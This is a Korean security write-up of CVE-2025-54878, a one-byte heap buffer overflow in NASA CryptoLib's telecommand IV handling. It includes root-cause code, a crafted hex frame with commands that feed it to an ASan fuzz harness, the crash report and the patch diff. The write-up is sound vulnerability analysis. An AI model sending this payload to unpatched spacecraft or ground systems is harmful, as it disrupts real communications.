[하루한줄] CVE-2025-54878: NASA CryptoLib의 Heap Buffer Overflow로 인한 서비스 거부(DoS)
URL
https://github.com/nasa/CryptoLib/security/advisories/GHSA-9qph-pxfm-q9g4
Target
- NASA CryptoLib ≤ 1.4.0
Explain
0. 취약점 배경
NASA CryptoLib은 cFS(core Flight System)를 실행하는 우주선과 지상국 간의 통신을 보호하기 위해 CCSDS(Consultative Committee for Space Data Systems) Space Data Link Security Protocol - Extended Procedures (SDLS-EP)를 사용하는 소프트웨어 기반 솔루션입니다. 이 라이브러리는 텔레커맨드 프레임 처리 로직에 Heap Buffer Overflow 취약점이 있습니다.
1. Root Cause 설명
Crypto_TC_Accio_Buffer
함수를 통해 암호화된 프레임은 enc_frame_len
만큼 버퍼를 할당 받습니다.
/* crypto_tc.c:833 */
status = Crypto_TC_Accio_Buffer(&p_new_enc_frame, &enc_frame_len);
이때 GDB로 버퍼의 길이를 확인해보면 19임을 확인할 수 있습니다.
(gdb) print *p_enc_frame_len
$2 = 19
취약점은 텔레커맨드 프레임의 초기화 벡터(IV)를 새롭게 할당된 버퍼에 복사하는 과정에서 경계 검사를 제대로 수행하지 않아 발생합니다.
status = Crypto_TC_Set_IV(sa_ptr, p_new_enc_frame, &index);
---------------------------------------------------------------------
// IN `Crypto_TC_Set_IV` Function
uint16_t index_temp = *index; // starts at 8
for (i = sa_ptr->iv_len - sa_ptr->shivf_len; i < sa_ptr->iv_len; i++) {
*(p_new_enc_frame + index_temp) = *(sa_ptr->iv + i);
index_temp++;
}
*index = index_temp;
index_temp
는 8부터 시작하고 sa_ptr→iv_len
은 12여서 19바이트 할당된 프레임보다 1바이트 더 접근이 가능했고 이는 ASan에서 탐지가 되었습니다.
2. PoC 설명
취약점을 트리거하는 간단한 PoC는 11바이트로 구성된 조작된 텔레커맨드 프레임: 0x20030004de0000000000
이 프레임을 라이브러리에 입력하면, 내부적으로 IV의 길이가 12
로 설정되고 버퍼 할당 크기는 19
로 결정됩니다. IV가 버퍼의 8
번째 오프셋부터 복사될 때, 총 8 + 12 = 20
바이트를 쓰게 되어, 할당된 19
바이트 버퍼의 끝을 1바이트만큼 초과하게 됩니다.
# Generate the 11-byte attack payload
echo 0020030004de0000000000 | xxd -r -p > poc.bin
# Run the ASan fuzz harness
./build-asan/bin/fuzz_harness poc.bin
ASan reports:
==…==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x…
WRITE of size 1 at 0x…
#0 … in Crypto_TC_Check_IV_Setup crypto_tc.c:296:45
…
0x… is located 0 bytes after 19-byte region [0x…,0x…)
allocated by thread T0 here:
#1 Crypto_TC_Accio_Buffer crypto_tc.c:243:35
…
SUMMARY: AddressSanitizer: heap-buffer-overflow crypto_tc.c:296:45
3. Patch Diffing
Operational Control Field (OCF)를 포함함으로써 p_enc_frame_len
이 4바이트가 늘었고 그로 인해 OOB가 불가능하도록 v1.4.1에서 패치가 되었습니다.
- *p_enc_frame_len = temp_tc_header.fl + 1 + 2 + sa_ptr->shivf_len + sa_ptr->shsnf_len + sa_ptr->shplf_len + sa_ptr->stmacf_len;
+ *p_enc_frame_len = temp_tc_header.fl + 1 + SPI_LEN + sa_ptr->shivf_len + sa_ptr->shsnf_len + sa_ptr->shplf_len + sa_ptr->stmacf_len + ocf_len;
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.